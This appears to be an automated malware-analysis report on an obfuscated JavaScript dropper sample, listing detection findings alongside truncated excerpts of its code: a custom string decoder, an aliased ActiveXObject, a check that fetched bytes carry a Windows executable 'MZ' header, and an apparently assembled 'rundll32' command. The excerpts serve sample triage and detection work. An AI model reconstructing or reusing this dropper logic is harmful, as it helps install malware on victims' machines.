20161220_79561b1ca7ce682e5edad89630822a12.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias
SHA-256965fa7282cf9068e6d840ada6b3e46a9d6f3292794f3a0a3fb4171b2ddac01eb

Evidence

Hex arithmetic in string operations lines 2–14
2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikenablingFROG2XCOP = 0;
9 var SupchikenablingRazlomSS, SupchikenablingFROG2ddDccC2, SupchikenablingFROG2c3, SupchikenablingFROG2c4;
10
11 var SupchikenablingFROG2out = "";
12
13 var SupchikenablingFROG2Supchikenablingka= this.replace(/FROSTICK/gi, SupchikenablingFROG2out);
14 var SupchikenablingFROG2len = SupchikenablingFROG2sud …
charCodeAt() method call lines 18–20
18:4… var Supchikenablingkoch = SupchikenablingFROG2Supchikenablingka.charCodeAt(SupchikenablingFROG2XCOP++) &(0x132- 0x33);
19 SupchikenablingRazlomSS = levitron[Supchikenablingkoch];
20 } while (SupchikenablingFROG2XCOP < Supchikena …
Builds characters with String.fromCharCode lines 27–30
27:41… +1== 0)
28 break;
29 SupchikenablingFROG2out += String['fromCharCode']((SupchikenablingRazlomSS << 2) | ((SupchikenablingFROG2ddDccC2 & 0x30) >> 4)); do {
30 SupchikenablingFROG2c3 = Supchike …
ActiveXObject via local alias lines 185–188
185:19… ngFROG2d2=SupchikenablingFROG2DoUtra.pop();
186SupchikenablingFROG2fabled="Valar2Morgulis";
187 var SupchikenablingFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikenablingFROG2d2.split("45");SupchikenablingFROG2Native.SupchikenablingFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikenablingFROG2$type(a)===b} …
Checks array for PE magic bytes lines 257–264
257:77… alabaev);
258 if(SupchikenablingTalabaevLaa < 29989)return false;
259 if (SupchikenablingTalabaev[0]!= 77 || SupchikenablingTalabaev[1]!= 90)return false;
260 SupchikenablingFROG2CHICKA = SupchikenablingFROG2CHICKA + SupchikenablingFROG2SIDRENKOV;
261 REBEKK2(SupchikenablingFROG2CHICKA, SupchikenablingTalabaev );
262
263 var SupchikenablingFROG2ddsSSddSd = ",happy";
264SupchikenablingFROG2ddsSSddSd = (SupchikenablingFROG2StrokaParam2,"undl") + (SupchikenablingFROG2StrokaParam2,"l32 ") + Supch …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.